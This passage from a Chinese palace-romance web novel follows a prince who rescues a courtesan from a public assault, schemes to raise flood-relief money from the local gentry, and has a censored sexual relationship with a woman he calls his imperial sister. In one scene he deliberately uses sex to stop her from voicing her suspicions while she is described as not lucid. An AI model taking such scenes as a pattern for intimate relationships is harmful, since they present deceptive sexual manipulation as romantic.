何昭自然也跟着偏向萧珏,他久不在京,并不知道当今朝中的局势,只理所应当地认为,萧珏既是太子,日后必定承袭大统,巴结着他准没错。 以至于此番萧衍和萧彻前来,他竟也十分怠慢,传票发下去,竟久久未来。 于是本该是他的差事,落在了知府李行舟身上。 —— 淮县北面有一座龙脊山,龙脊山是自黄山向东延伸出的旁支,地势高低起伏,奇峰突起,平地而起一座高峰,唤作轩辕峰。 轩辕峰的走势先由东转南,再转西南,远看像极了一条盘卧的巨龙,怪不得县志上记载,此处为龙脉所在之地。 这样的地形,在风水上算得上是上佳 。 萧彻站在山脚下,低头捡起一块碎石,放在手上磋磨了:“这底下都是矿石,便没人去挖采吗?” 李行舟在一旁向萧彻解释道:“淮县以垦殖为主,乡民大都以农耕养殖为生,并不采矿烧灰。当然也离不开当地乡绅富户为了保护风水严令禁止采矿,派人在山上巡视,且实行举报有赏,赏金丰厚,这时间久了,渐渐地,也就没人再去了。” 萧彻淡道:“看来那些乡绅富户,对龙脉还是极为看重的么。” 李行舟道:“殿下您也知道,这当地的乡绅富户,大多是致仕的官员,前些年偶有采矿,那两年淮县的科举竟开了天窗,而当地的政治与经济发展与本籍士子们的仕途之路息息相关,真可谓是一荣俱荣、一损俱损。所以当地的那些乡绅富户,向来极看重风水。” 萧彻点了点头,若有所思地道:“知道了。” —— 回去的路上,行经闹市,萧彻远远见着前方起了一阵骚动,是一名华服男子攥着一名女子的手腕,面容扭曲地讥讽道:“当了婊子还给我立什么牌坊,本少爷摸你是看得起你,少给我拿乔,怎么,如今装作贞洁烈妇的样子,是想攀附二殿下不成?” 萧彻停下脚步,眉梢微抬。 他朝一旁的薛止使了眼色,薛止会意,立刻向人群中走去。 片刻后,他走了回来,附在萧彻耳边低声道:“殿下,那华服男子正是崔璋之子,崔润,崔泽之。” 崔璋虽不过一介商户,但他的大哥崔钰却是已经致仕的御史,且膝下无子,对崔润视如己出。 已经致仕的官员,虽则已不在朝为官,但在朝中依旧有着错综复杂的人情网络,影响不容小觑。 崔润与萧衍争夺的女子,萧彻没记错的话,应是醉仙楼的头牌娘子花遥。 花遥此时被崔润攥着手腕,苦于挣脱不得,一张雪白的面皮丈得通红,身上的薄衫也已被扯落大半,雪白的肌肤罗露在外,引来围观人群的指指点点,一时又是难堪,又是羞耻,只能咬牙道:“崔公子,还请你自重!” “自重?呵,一个女表子还敢跟本小爷谈自重?就该剥了你的衣服,把你丢在大街上,让所有人都看看你是个什么货色!” 说着正要拽下她本就堪堪挂在身上的衣衫,手臂却忽然被人从身后按住了,力道之大,竟让他再使不出半分力气, 崔润一愣,他家大业大,一向在淮县横行霸道罢了,众人对他向来是敢怒不敢言,还是第一次有人敢当街制止他。 短暂的愣神过后,随之而来的便是滔天的怒火,他狞笑一声,刚想问是谁这么不长眼,竟然敢管小爷的闲事?! 一转头,神情却忽然怔住了。 来人极为脸生,绝不是淮县人,容貌异常俊美,气质冷淡漠然,却自有一股难掩的矜贵气质,他站在他身后,身量比他高上许多,这般居高临下地看着他,带了几分天然的压势。 崔润的气焰一下子弱了几分:“你……你是谁?” 萧彻微微一笑,笑意却并不达眼底,这一笑反而越发透出一种渗入骨髓的冷意,只道:“崔润,崔少爷?之前我与二哥在和你父亲议事时,倒是听见我二哥向你父亲提及过你,不想出门便遇上了,这么巧?可要随我一道回去与你父亲还有我二哥叙叙旧?” 话音刚落,一旁的薛止便出示了萧彻的令牌。 上刻螭龙纹图案,正是皇子的纹饰。 再结合他方才说的那一番话,他口中的“二哥”该是二皇子没跑了,那眼前之人,岂不是三皇子? 他额头瞬间冒出了冷汗。 方才听他说什么听到二皇子在和父亲议事时提到了他,二皇子何故提到他?用脚趾头都能想到必然是因着花遥那贱人的缘故。 他和二皇子原本怎会有交集,盖因前几日在万花楼里他没能及时认出二皇子的身份,差点因为花遥与他打起来。 没成想今日二皇子竟会在父亲面前提及此事,想必是怀恨在心,多半当面训斥了父亲教子无方,他回去自然免不了一顿斥责。 想到这里,他的脸色又阴沉了几分。 这还不算,如今三皇子又在街上撞见了他和花遥拉扯,传回二皇子耳中,他势必又讨不了好。 这三皇子还让他跟他一道回去与他们叙旧,这不是嫌他死得不够快吗? 崔润抬手擦拭了一下额头的冷汗,讪笑道:“原……原来是三殿下,小人眼拙……二殿下和父亲既是在议事,我还是不打扰了……” 萧彻慢慢俯下声,凑至他耳边,甫一开口,戾气却是陡得浮现:“那还,不快滚。” 崔润一怔,等反应过来后,立刻屁滚尿流地跑了。 崔润走的时候去势太急,将花遥撞倒在地。 她低头轻揉着被地面剐蹭得红肿的手臂,挣扎着想要从地上爬起。 斜刺里却忽然递过来一只手。 花遥诧异地抬起了头。 她之前一直忙着整理自己的衣服,始终低着头,知道有贵人搭救了自己,却一直未曾看清他的面容。 直到这一刻。 四目相对。 原本灰暗的天色像是被拨开层层云翳,终于透进来一丝曙色。 天光大亮。 她怔怔地将自己的手递了过去。 萧彻微微一笑,接过她的手,略一用力,便将她搀扶起来。 花遥处于一种晕眩的状态,两人贴近了些,她连忙后退了半步,仿佛十分自惭形秽,唯恐亵渎了他似得。 山上冷,萧彻方才出门的时候身上披了一件披风。 他看了一眼花遥挂在身上,几乎不能蔽体的的衣料,微微垂下了眼,解下了身上的披风,动手替她披上。 花遥一颤,眸底几乎瞬间涌上了热意。 披风完全地包裹着她的身体,仿佛也将她破碎的自尊一点点地拼凑保护起来,隔绝了外界的冷意,内里有暖刘缓缓淌过,让她慢慢觉得,她也是一个人。 男子待她,向来是急不可耐地脱去她的衣服,从来没有一个男子会主动帮她披衣。 围观的人群这时也都渐渐散去。 花遥拢紧身上的披风,正想开口道谢,头顶上方忽然传来男子的一声低笑,嗓音透着磁性,如碎玉落盘,风过竹林,格外好听。 “对景谩倾银瓮酒,看花遥想玉京人。”萧彻笑问:“可是花遥姑娘?” 花遥的心乱了一瞬,饶是她阅人无数,早已见识过各色男人,向来都是游刃有余,此刻也不禁有一种少女怀春的生涩与局促:“我……正是小女子……” 萧彻微微一笑,只道:“幸会。” 花遥咬着唇瓣,低低地道:“花遥多谢三殿下解围……” 萧彻轻笑:“只是一句多谢么?” 花遥懵懂地抬头,不禁有些恍神。 萧彻把玩着手上的玉板指,弯唇道:“花遥姑娘,不请我去你那里坐坐,小酌一杯么?” 花遥呆了一瞬,结结巴巴地道:“承蒙殿下不弃,小女自然……自然愿意……” —— 雅间内,红销软帐,暗香浮动。 萧彻坐在锦杌上,伸手接过了花遥递过来的杯盏,唇角浮了点笑意:“多谢。” 手指搭上杯壁,正要收回,一双葇荑却慢慢搭上了他的手背,指尖若有似无地摩挲过他手背上凸//。起的青筋。 他抬头看向她。 花遥并不敢直视他,低着头,自脸颊到脖颈一片绯红,甜腻的嗓音仿佛能溢出水,婉转道:“殿下……” 萧彻不动声色地抽回了手。 花遥一怔,无措地抬起了头,眸光盈盈闪烁。 萧彻眉梢微动,他从她眼里看到了熟悉的东西。 花遥怔愣一瞬后,立刻伸手追了过去:“殿下,殿下与我有恩,既说‘多谢’二字太过轻飘无力,花遥自然要另行答谢……” “花遥身无长物,唯有一身皮囊还有几分可取之处,若殿下不弃,花遥愿……愿以身相许……” 萧彻却还是收回了手,淡道:“承蒙姑娘厚爱,只是以身相许就不必了,姑娘若想还我这份人情,不如帮我做一件事。” 花遥到底还是落寞地低下了头,自嘲道:“是花遥冒犯了。” 她早该知道,他这样谪仙般神姿高彻的人物,又怎会与她坠入这泥泞红尘。 即便只是一段露水情缘,他也是不愿的。 只是他先前说要去她那里小坐,她到底心存了一丝妄念。 如今他既已表态,她便不得不清醒过来。 她低垂着脑袋,双手交握,后退了半步,与萧彻拉开了距离,恭顺道:“殿下想让我做什么?” 萧彻看了她一眼,眉梢微动:“那崔润那般折辱姑娘,姑娘可曾想过为自己报仇?” “自然做梦都想,只是我一介风尘女子,无权无势,又有什么法子奈何得了他?” 萧彻似笑非笑:“倘若我说,我有法子呢?” 花遥倏地抬眸望向他。 萧彻起身,慢慢踱步到了花遥身边:“只要姑娘按我说的做,便能如愿,这是帮了我,也是帮了姑娘你自己。” 说着附耳过去,同她一番耳语。 花遥慢慢睁大了眼睛,眸中难掩 震惊之色:“殿下,这……” 萧彻轻笑,懒洋洋地道:“怎么,姑娘怕了?” “我……”花遥抬头对上了他的视线,她发现他的眸色居然出奇得浅,像是琥珀琉璃,有一种摄人之感,与他对视久了,便会产生一种奇异的晕眩。 她垂下眼睫,稳了稳心神道:“花遥愿为殿下差遣,既是为了报答殿下的解围之恩,也是为了亲手替自己报仇。” 萧彻慢慢笑了起来:“好。” 萧彻临出门时,花遥攥紧了手,到底还是忍不住从后面叫住他:“殿下,你是因为我出身青楼,身份卑贱,并不清白,才会心生嫌弃,对我……” “我从未嫌弃过你,”他转过身来,看着她,唇边虚浮上一点笑意,只嗤道:“身份卑贱?在某些人眼中,恐怕我也是最卑贱不过。你我之间,或许并无不同,我又怎么会嫌弃你?” “我想流落青楼并非出自你的本意,许多人的命运,也不过是水中浮萍,从来身不由己。” “既非自甘堕落,质本还洁,又怎么会不清白?” 他道:“事成之后,我会帮你离开这个地方,从前种种,譬如昨日死,今后种种,譬如今日生,你从来清白。” 她从来清白……花遥紧紧攥着手心,眸底忽然涌上热意。 她想,她没有什么是不能够为他去做的了。 —— 萧彻回去的时候,看到颜嘉柔趴在桌子上睡着了。 桌上一桌子冷掉的饭菜,显然是她为了等他回来用膳不知不觉地等睡着了。 萧彻眉心紧蹙,让人备了点热粥过来,将颜嘉柔捞到了怀里,半哄半迫地灌进去一碗粥,末了又和她一起沐浴了一番,将人仔细擦干后才抱到了榻上。 颜嘉柔贪睡,方才萧彻折腾了她半晌,又是喂粥又是沐浴的,她愣是迷迷糊糊地没醒,这会子沾了床,却是眼睛瞪得如同铜铃一般。 萧彻不免又是好气又是好笑,凑过去与她额头相抵,轻轻蹭了蹭她额头:“祖宗,你还真会挑时候醒啊。” 他掐了掐她的脸,故作生气道:“说,是不是故意的?” 颜嘉柔眨了眨眼,睡眼惺忪地看着他,神情懵里懵懂,黏黏糊糊地叫了他一声:“哥哥,你回来了……”便用脸颊轻轻蹭着他,像是某种小动物寻求爱fu的动作。 萧彻的一颗心霎时软得一塌糊涂,他亲了亲她的眼睛,不自觉地放柔了声音:“乖了,现在该睡觉了。” “什么嘛,你才刚来就让我睡觉,我睁开眼你又不见了,那我岂不是每天都见不到你了……我才不要……” 正要继续说什么,却忽然停了下来,颜嘉柔吸了吸鼻子,忽然敏锐地从萧彻身上嗅到了一丝不属于他的气息。 因为已经沐浴过,所以那丝气息已经极淡,几乎闻不出来,也只有似颜嘉柔这般,有机会与萧彻耳鬓厮磨的枕边人,才能嗅到一丝不寻常。 “萧彻,你身上怎么有别的味道,像是……”像是什么?却一时有些分辨不出来。 萧彻眉毛一跳,却是有些意味颜嘉柔竟如此敏锐。 颜嘉柔皱着眉,正苦苦思索分辨着,难得终于厘出一点思绪,脱口道:“像是女……” 然而余下的话还没说出口,萧彻便用力地扣着她的后脑勺,将她整个人按过来亲。 那未说出口的话,便被他尽数吞没。 一吻结束,颜嘉柔被亲得晕晕乎乎,早忘了之前那呼之欲出的猜测。 她茫然地眨了眨眼,一双美眸氤氲着水汽。 方才浮现的那缕缥缈的念头再度消散,她只能继续伏靠在他的颈侧,嗅闻着他身上残留的气息,试图加以分辨。 然而萧彻根本没有给她这个机会。 大手钻入她的全删惹得颜嘉柔娇呼一声,很快在他怀里全删。 她眼睫轻颤,娇弱无力地叫了一声:“哥哥……”唇边逸出几声全删:“别……” 萧彻笑着“嗯?”了一声,手却全删 修长如玉的手指,平素散发着冰冷禁欲的气息, 此时却恶劣地全删 颜嘉柔红唇微张,眼神都全删,乌发被汗水浸湿,黏腻地全删,可怜又诱人:“哥哥,不要……” “不要?那颜颜为什么口口?” 萧彻轻笑,舔吻着她白腻的耳垂,嗓音低哑:“分明,贪吃得很。” 一边说着,手上此处删除五百字已被审核逼疯 “。了我易生,怎么赔我,嗯?” “你闻闻,现在我身上,可都是你的味道。”(男主身上不能有女主味道吗我请问审核?抱抱都能染上味道吧?怎么言情不能让男主抱女主啦,都删完了还锁我群殴请问呢?) “宝宝的……味。” “宝宝……好多。,好乖。” 颜嘉柔羞耻得几乎要哭出来,拼命摇头道:“呜呜……不是……” 萧彻这一番动作,故意诱她……如今他身上全是她的味道,先前那一缕若有似无的幽香,自然再也无从分辨。 何况如今颜嘉柔全删,被……神志不清,早把刚才要质问的事情忘了个一干二净。 萧彻身上疑似有别的女人的气味这件事,也就此轻飘飘揭过。 第75章 第75章终于注意到了颜嘉柔的不…… 颜嘉柔糕炒过后便特别困倦怠懒,整个人娇软无力地瘫在萧彻怀里,全身上下软绵绵的没有一丝力气,像是浸了春水。 本来正欲睡去,忽然从内心深处涌现出一股强烈的躁动与渴念,不知道是不是因为刚经历过……,她的身子变得异常明杆,全身神经都仿佛有细小的电流流窜,苏麻沿着神经爬上脊椎,萧彻哪怕轻轻碰了她一下,她都会忍不住一阵多索。 她突然觉得不够,她想要更多。 呼吸渐渐变得急促,她睁开迷蒙的双眼,脸上泛着不正常的潮红,娇哼道:“萧彻,我想,我想要……” 萧彻看了她一眼,替她拨开被汗水浸湿,粘在脸颊上的乌发,嗓音懒散:“想要血?” “我……” 颜嘉柔攀附着他的肩颈,眼神忽然变得迷茫。 她想要什么,连她自己都不知道。 她该是要血的,可是却好像并不满足于此。 身上前所未有的难受,这样的难受,不是单单用血就可以纾解的。 她急需从萧彻身上得到另一样东西,可到底是什么呢?她却怎么都想不到。 她都快急哭了。 “哥哥……我……我难受……你帮帮我……” “又没说不给你,”萧彻抚摸着她的脑袋,懒洋洋地笑:“撒什么娇?” 说完便微微侧过脸,示意她过来取血。 颜嘉柔却迟迟未动。 不是的,她不止想要这个…… 萧彻转了过来,略一蹙眉,似乎有些迷惑:“怎么了,宝宝?” “没……没什么……” 雪白的贝齿咬着唇瓣,齿痕宛然。 她到底还是伏靠在他的颈间,轻轻咬破他的皮肤取血。 虽然她的阈值越来越高,单是萧彻的血已经完全无法满足,但是多少总能起到一点缓解作用。 更重要的是,萧彻如今有正事要忙,她不想他为她分心。 不管她到底要什么,还是等萧彻忙完正事后再说。 鲜甜的血液顺着喉管缓缓流入她的身体,疯狂叫嚣的躁动被稍稍抚平了一点。 然而,也只是一点。 虽然依旧取了不少血,但体内仍是十分空虚,只是勉强能够稍稍缓解一些难受罢了。 取完血后,她便从萧彻的身上下来,独自翻过身蜷缩在了角落里,并不想让萧彻发现她的异样。 萧彻也果然没有发现她的异样。 将身上沾有别的女人的气息这件事在小兔这边蒙混过去,萧彻便将心思放到正事上了,也没再留意颜嘉柔了。 自然发现不了她任自发颤的身体以及泛着异样潮红的面色了。 白日里她 稍好一些了,也会帮着萧彻一起施粥,两人那般容貌气度,实在引人注目,又因善举美名传扬,百姓纷纷称赞二人菩萨心肠,是神仙一般的人物,实乃天作之合。 —— 自萧彻颁布涨粮价的政令后,一开始,淮县的粮价上涨,商户确实尝到了甜头,可渐渐地,他们便发现事情有些不对了。 淮县粮价的涨幅之大,不仅商户尝到了甜头,担心存粮不够,开始去外地购粮,以此来赚取差价,就连外地的粮商,见此情形后,也嗅到了商机,纷纷将粮食运到淮县来卖。 而萧彻眼看着淮县的粮食已经储备得差不多了,便下令将先前高价购置的粮食重新低价投放到市场,这下原本粮食的价格便稳不住了,一再跌价。 那些从外地赶来的粮商,原本是看中淮县粮价高,想来狠狠赚上一笔,谁成想,刚赶到便遇上了粮价下跌,可若此时再将粮食运回,途中运费又是一笔不小的成本,于是为了不亏本,也只得纷纷降价售卖。 这一来二去,粮食富余,粮价越跌越低,百姓粮食短缺的问题便得到了解决。 而另一边,萧彻命薛止去四处散布龙脊山有金矿的传闻,引得许多灾民去山上挖矿,大的金矿是没有的,不过是一些沙金,但这个噱头已经有了,很快就吸引了大批百姓前去开采。 金子没挖到多少,但底下的石灰却是开凿不尽的,也能赚钱,淮县刚刚经历水患,百姓正是缺钱的时候,既有人开了头,便也不顾从前的规矩,纷纷前去开采挖凿。 这可把那些乡绅富户给愁坏了。 那龙脊山是可以随便开采挖凿的吗,那可是龙脉所在之地! 破坏了龙脉,那整个淮县的风水都会受到影响! 那些无知愚民又懂什么,为了眼前的蝇头小利,竟要断送整个淮县的根本! 可俗话说,光脚不怕穿鞋的,那些百姓如今眼前都顾不得了,哪里会去想长远,自然要比那些乡绅富户没有顾忌得多。 甚至那些乡绅富户想要采取措施强压,反而适得其反,遭到了百姓的强烈反扑,民情激怨。 这个时候,萧彻给他们提了个主意——百姓所求,无非是为了钱财,那龙脊山底下有大量石灰岩,挖凿开采能赚钱,所以百姓们才会一拥而上。 百姓想赚钱,那也无可厚非,尤其是如今他们刚经历过水患,正是用钱的关头。 断人钱财,犹如杀人父母。 淮县的乡绅富户,想保护龙脉不受破坏,这同样无可厚非,只是总也不能阻止百姓们赚钱吧,毕竟这龙脊山也不是这些乡绅富户的私产,而是属于整个淮县百姓的。 乡绅富户想要阻止百姓们继续开采,为今之计,只能拿出一笔钱来买断百姓们的开采权。 既是买断,那自然不会是一笔小数目。 可为了保护龙脉不遭到破坏,从而影响淮县的风水和他们的富贵,那些乡绅富户咬咬牙,也只得出了。 可这一出不要紧,麻烦的还在后头。 先前他们在萧彻和萧衍号召捐银的时候,一个两个都推说欠了许多外债,不过是看着富贵,其实底子虚得很。 可此次为了让百姓们放弃开采石灰岩,保护龙脉,竟出了这么大的手笔,这不明摆着先前是在糊弄人吗。 这往重了说,那就是欺瞒朝廷命官。 何况萧彻和萧衍,还不只是朝廷命官那么简单。 那是当今圣上的亲子,回去后若是在圣上面前说两句,即便圣上这次不追究,那以后淮县仕子的仕途恐怕也会受影响,政治这块落了下风,那对整个淮县的发展都是十分不利的。 因此当萧彻提出要再一次宴请他们时,即便知道是场鸿门宴,他们还是不得不答应赴宴。 只是他们没想到的是,最先被萧彻开刀的是淮县的知县何昭。 发难的由头也是现成的——当时他将传票发下去召他议事,他却久久未来。 何昭跪伏在萧彻的脚边,抬手擦拭了一把额头的冷汗,给出的解释居然是: “三殿下明鉴,下官与当今的太子殿下说起来有一层姻亲关系在,难免上心些,之前听说殿下夜不能寐,总是心神不宁,须以千年的老山参入药,这东西是个稀罕物,宫中也未必有,可巧前些日子下官听说宁阳县的白坭村有村民意外从山上挖到一株,便立刻亲自前去购买,这才耽误了三殿下的传票。” “下官想着三殿下与二殿下都是太子的嫡亲兄弟,太子的事,必然也是二位殿下的事,为此耽搁一会儿想来二位殿下必会体谅……” 萧彻听完却当即冷笑一声道:“你开口闭口都是太子殿下,怎么,莫非你心中只有太子殿下,却没有百姓,没有朝廷,也没有圣上?” “淮县的灾民全都在等着银两赈灾,我让你号召富户商号捐银纳税,你却在这个当口远赴宁阳县采购什么劳什子老山参……” “为着太子的私事耽搁公事,我竟不知,太子的私事竟比朝廷的事还要紧,因私殉公,这样大的一顶帽子扣下来,不知太子与圣上知道了,又会作何感想?” 何昭闻言脸色霎时变得惨白,立刻跪伏在地,咚咚磕头道:“殿下明察,下官不敢,下官不敢啊……” 萧彻低头扫了他一眼,只道:“你既说那百年老山参是稀罕之物,想必价值也定然不菲吧?你花费几何?” “这……”何昭不知他是何意,但却不敢不答:“回殿下,因是山参王,参龄有千年之久,故……故花费多了些,有三千两……” “三千两?买了一株可有可无的人参便花了三千两,看来何大人的私库充足得很啊,这不捐点银子说不过去吧?” 何昭心中叫苦不迭,可如今被架在火上烤,却是不得不应:“是……是……” 萧彻勾起唇角,笑道:“那我便替百姓,多谢何大人的义举了。” 说着从一旁薛止手里接过认捐薄,大笔一挥,直接替何昭认捐了五万两。 萧彻笑得好看,何昭心里却直打鼓,果然在看到上面的数目之后,两眼一黑,险些晕厥过去。 可事到如今,他也只能认下。 既开了口子,接下去事情便进展得顺利多了。 那些乡绅富户,为了保护龙脉花了大价钱买断百姓们的开采权,因着这事,面对萧彻时难免存了几分心虚,有了把柄,再加上有何昭的例子在前面,他们也见识了萧彻的手段,此时自然不敢有二话,全随着萧彻的心意认捐。 一下午的时间,灾银便筹措齐全了。 只是结束后,那些从大厅里出来的乡绅富户,一个个面色都不大好,倒像是被生生割了肉一般。 —— 正事告一段落后,萧彻这才有空好好陪他的皇妹,也终于在那天晚上,注意到了颜嘉柔的不寻常。 第76章 第76章一旦他的血失去了效用,…… 那天晚上,萧彻早早地就回来陪颜嘉柔,小姑娘很开心,为他把正事办得漂亮而开心,也为他之后能更多地陪伴自己而感到开心。 萧彻陪她一道用了晚膳,颜嘉柔这段时间总是恹恹的,虽然今天晚上因为有萧彻的陪伴兴致高了些,但总体上精神始终不太好。 像是很困倦,又 像是很惫懒,似乎亟需获得什么来滋养和纾解。 萧彻简单喂了她点膳食,帮她洗漱完之后便将人抱到了床上。 等到了床上,小姑娘的精神反而好了些,趴在萧彻的身上,乌黑漂亮的眸子湿漉漉地看着他,脸颊泛着薄红,有些急躁地道:“哥哥,我要……” 每当她这么看着他,萧彻就感觉颈侧隐隐泛疼,他挑了下眉,要笑不笑地看着她。 小姑娘身娇体软,虽然瞧着肉乎乎,其实根本没什么重量,这般压在他身上,跟一团棉花覆在身上没什么两样。 他抬手抚上她的脊背,慢慢,最后停在她微塌的腰窝:“就这么要啊,不给我点好处?” 他屈指点了下侧脸,轻笑了声:“宝宝,亲我。” 颜嘉柔急不可耐地亲了上去,她现在很难受,与萧彻的肌肤相亲,能让她稍微好过一些。 从额头到下巴,一张脸几乎都被小兔亲了个遍,萧彻微微讶异地挑眉,含混地笑:“今天怎么这么乖?嗯?” “一直都很乖……”颜嘉柔蹭着他的脸,含糊不清地道:“哥哥,我好难受……” “难受?”萧彻蹙眉,扶着她的后脑勺道:“不是昨天刚喂过血么?” 他以为颜嘉柔想要取血不过是单纯馋了,没想到已经到了“难受”的地步。 当下也不再逗她,按着她的后颈让她伏靠在他的颈侧取血。 只是取完血后,她并没有像往常一样露出餍足的神情,一张莹白的小脸浮上不正常的潮红,额头鬓角渗出细密的汗水:“不行,我还是难受……好难受……血已经不管用了……” 血已经不管用了,意味着她现在的怪病亟需新的解药。 而他并不知道那是什么。 萧彻眉心紧蹙,终于意识到了事情的严重性。 然而眼下也并没有什么好的办法。 他只能轻拍着她的脊背,不断安抚她道:“那你想要什么?颜颜,你告诉我,你现在想要什么,我会帮你。” “我……我不知道……” 颜嘉柔都快哭了,她知道无论她想要什么,只要萧彻有,他都会给她。 可她偏偏什么都不知道。 她只知道渴念疯狂叫嚣,身体难受到了极点,而萧彻的血已经不管用了。 新的解药依旧在萧彻身上,她却不知道那是什么。 只能凭借着本能不断地蹭着他的身体,体温急剧攀升,连呼吸都是烫的。 乌黑的发丝被汗水浸湿,贴在脸颊上。 原本白腻的脸颊染上一片樱粉色。 乌黑水润的眸子泪光盈盈地看着他,眼睫濡湿,轻颤着叫他的名字。 像是某种小动物的求欢。 颜嘉柔残存的理智让她意识到她现在有多失态,但她根本控制不了。 或许是今日之事之前早有征兆,是她一直苦苦压制,所以一旦彻底爆发便格外汹涌。 也或许是之前萧彻一直在忙赈灾之事,她潜意识里认为决不能在这个时候影响到他,所以身体的反应还能够勉强控制,如今得知赈灾之事已了,她再无后顾之忧,身体里的躁动与瘾念便争先恐后地涌现出来,再也按捺不住。 意识已经渐渐涣散,连口申口今声都克制不住地从红唇中泄出,她嗓音甜腻地叫着“哥哥……”,眼神懵懂而无措地看着他,带着一种隐秘的渴望。 她躺在床上,一番动作后发髻散乱,乌黑的发丝铺陈开来,她原本便生得娇美,此刻动了情,一张脸越发艳若桃李。 一头散开的乌发衬着明艳娇美的花颜,嫣红的唇瓣微张,探出一截软红的舌尖,贝齿轻咬,端的是垂涎诱人。 衣襟在方才的动作中早已散开,露出一大片雪白凶月甫,因着略有些侧躺的滋事,挤出深深的钩鹤。 颜嘉柔浑然不知此刻自己的形容,眼神迷离地看向他,娇吟着川西:“哥哥……” 萧彻太阳穴突突得跳。 只望了一眼,便觉口干舌燥。 只是眼下显然不是纵//。欲的时候。 颜嘉柔明显不对劲。 身上火烧火燎一般,烫得惊人,神志显然也已经不清楚了。 这让他下意识地想起了儿时有一次她发烧,身上也是那样烫。 那次的发烧差点要了她的命,也几乎要了他的命。 他不可避免地留下了阴影。 眼下颜嘉柔身上滚烫,使他下意识地感到不安。 他不知道颜嘉柔倘若一直处于这种状态,会不会对身体有什么损害。 这让他无比烦躁。 可偏偏他不知道该怎么帮她。 他的血已经完全起不到任何作用了。 现在想要安抚她的怪症,或许需要一种新的药,但那到底是什么呢? 他毫无头绪。 而颜嘉柔如今神志不清,只会毫无章法地撩拨他,除了蹭着他的身体,娇娇地叫着他之外,根本说不出什么有价值的话,自然也给不了他一点提示。 萧彻烦躁地吐出一口气,躺下来从身后环抱住她,埋在她的颈间深深地吸了一口气:“颜颜,我到底要怎么做,才能帮你。” 可惜如今不在都城,没办法立刻找到哑医,否则他或许会有办法。 想到哑医,萧彻自然而然地便想到了燕骁。 也就是这么一联想,让他想起了燕骁在他临行前曾交给他的两个锦囊。 并叮嘱他:倘若颜嘉柔的病情有所进展,便打开锦囊,先打开蓝的,再打开红的。 萧彻猛地从床上坐起,正要翻身下床,身后颜嘉柔水蛇似得缠了上来,嗓音略带着哭腔,黏黏糊糊地道:“别……别走……” 她身上好烫,火燎一般,而萧彻的皮肤像是上好的玉,触之清凉,她胡乱扯着他的里衣,不管不顾地挺凶往他身上蹭,只有与他肌肤相贴,才能让她发出舒服的喟叹,稍稍好过一些。 萧彻只得轻拍了她的后背柔声安抚道:“乖,我知道怎么帮你了,你先等我一会儿,听话。”最后半哄半迫地将她从身上摘下来。 他第一次觉得颜嘉柔这般粘人并不是一件好事。 萧彻走后,颜嘉柔在床上难受地小声啜泣,她胡乱地蹭着被角,只觉身上烫得越发厉害,萧彻却不在身边,连安抚缓解都做不到。 可也正是因为这份的如骨附蛆的渴念与躁动,实在让人难受到了极点,迫使她重新找回了几分清醒。 以至于萧彻回来后,当着她的面打开了蓝色锦囊,取出里面的字条,告诉她这是燕骁之前从哑医那里得来的方子,一旦你的病程有所进展,便按照方子上写的去做,该是能缓解病情时—— 她颤颤巍巍地接过字条,打开一看,倒还能分辨出这上面的意思。 只是这一看,只觉面颊更烫了,意识也更加清醒了几分,原本的意乱情迷一下子消散了个干净,酡红的脸颊生生地被逼退了几分血色,颜嘉柔颤抖着唇瓣,不可置信地看着他:“你,你……” 萧彻蹙眉,面色露出几分困惑:“怎么了?” 问完见她不答,只是紧咬着唇,一副快要哭出来的样子,仿佛十分难以启齿似得,便微微皱了眉,从她手里抽走了字条,低头一看,神情一滞:“…………”便也不说话了。 那字条上写的分明是,一旦他的血失去了效用,那么,便该用他的精。 空气一时陷入了诡异的静默。 还是颜嘉柔率先哭着道:“怎……怎么可能呢?”她所需要的解药,怎么可能是萧彻的那个…… 她用一种怀疑且羞愤的眼神瞪着他,哭着道:“你……是不是你自己胡乱写的……” 她根本接受不了,便怀疑是萧彻想这样对她,所以才故意开这样的玩笑诓骗她! 萧彻眸光瞬间冷了下来,极短促地笑了声道:“你就这样想我,颜嘉柔,你把我当什么了?” 他捏过她的手腕,将人拉至身前,冷声道:“你不愿意,难道我还能强了你不成?” “我从来不会强迫女人。” “清河公主,你未免太多虑了。” “既然你那么担心我对你做什么,那我走,这下你可以安心了?” “如今你怀疑我居心不良,都能怀疑人了,倒也不像神志不清的样子,想来身上也不难受了,很好,那我走了,你好好休息。” 他说完甩开颜嘉柔的手腕,转身便想要下床。 颜嘉柔一愣,她意识到萧彻好像真的生气了,他要走了……不行,不能让他走…… 身上的每一寸血脉经络都在叫嚣着留下他,留下他,别让他走…… 渴念和躁动疯狂席卷全身。 她根本不像萧彻说的那样,已经不难受了。 短暂的清醒过后,迎来了更强烈的反噬。 理智摇摇欲坠,身体的本能促使她往前爬挪,在萧彻下床的前一刻从身后环住他的腰身:“别……别走……” 她呜咽道:“哥哥……别生气,别丢下我……我好难受……” 萧彻到底还是心软了。 他转身抚上她的脸颊,指腹轻柔地替她拭去脸上的泪痕:“无论什么时候,我都不会丢下你。” “我当然会帮你,” 他蹙起眉尖:“可是你……愿不愿意让我帮你?” 第77章 第77章萧彻靠坐在床头,从枕头…… 对于字条上的内容,萧彻虽颇感意外,但也并不怀疑那是假的,燕骁早就三番四次暗示过他了,只是他之前从来没往那方面想罢了。 狐性本淫,原来燕骁说的是真的。 只是眼下并不是想这些的时候,事情已经发生,也无谓再去追究原因。 当务之急,是他该怎么做。 该怎么做,才能在颜嘉柔自愿的前提下帮她,不让她那么难受。 他虽然想得到她,但决不是以这样的方式。 这种事情,如果不是你情我愿,根本毫无乐趣可言。 他也从来不屑强迫。 更不可能让颜嘉柔受到这种委屈。 他想帮她,但必须让她亲口告诉他她愿意。 可颜嘉柔却只是哭着摇头:“我……我不知道……” “不知道?颜颜,你总说不知道。” “可你不能不知道。” 萧彻略显烦躁地吐出一口气,但还是忍下了,耐着性子道:“你喜欢我吗?” “喜……喜欢……” 何止是喜欢,甚至到了上瘾的地步,她再怎么想否认,但身体是不会骗人的。 萧彻神色稍霁,拇指揉按着她柔软的唇瓣,问:“有多喜欢?” “很……很喜欢……” “既然很喜欢,为什么不愿意?” “我……我不知道……”颜嘉柔眸底泛着雾气,眼皮透着薄红,贝齿紧咬着唇瓣,眉眼间多有挣扎之色:“我害怕……” “颜颜,你究竟害怕什么?” “我……” 萧彻轻嗤:“又是不知道?” “那不妨让我来猜猜,你害怕一旦和我做到这最后一步,守宫砂没了,你和萧珏之间,便再无可能了,是不是?” 心事被说中,颜嘉柔猛地睁大了眼眸,一时说不出话来:“我……” 她之前确实是这么想的,但这也只是一方面的原因,她更害怕的是,倘若被萧珏发现她和萧彻……她不知道该怎么面对他,面对他的质问与羞辱。 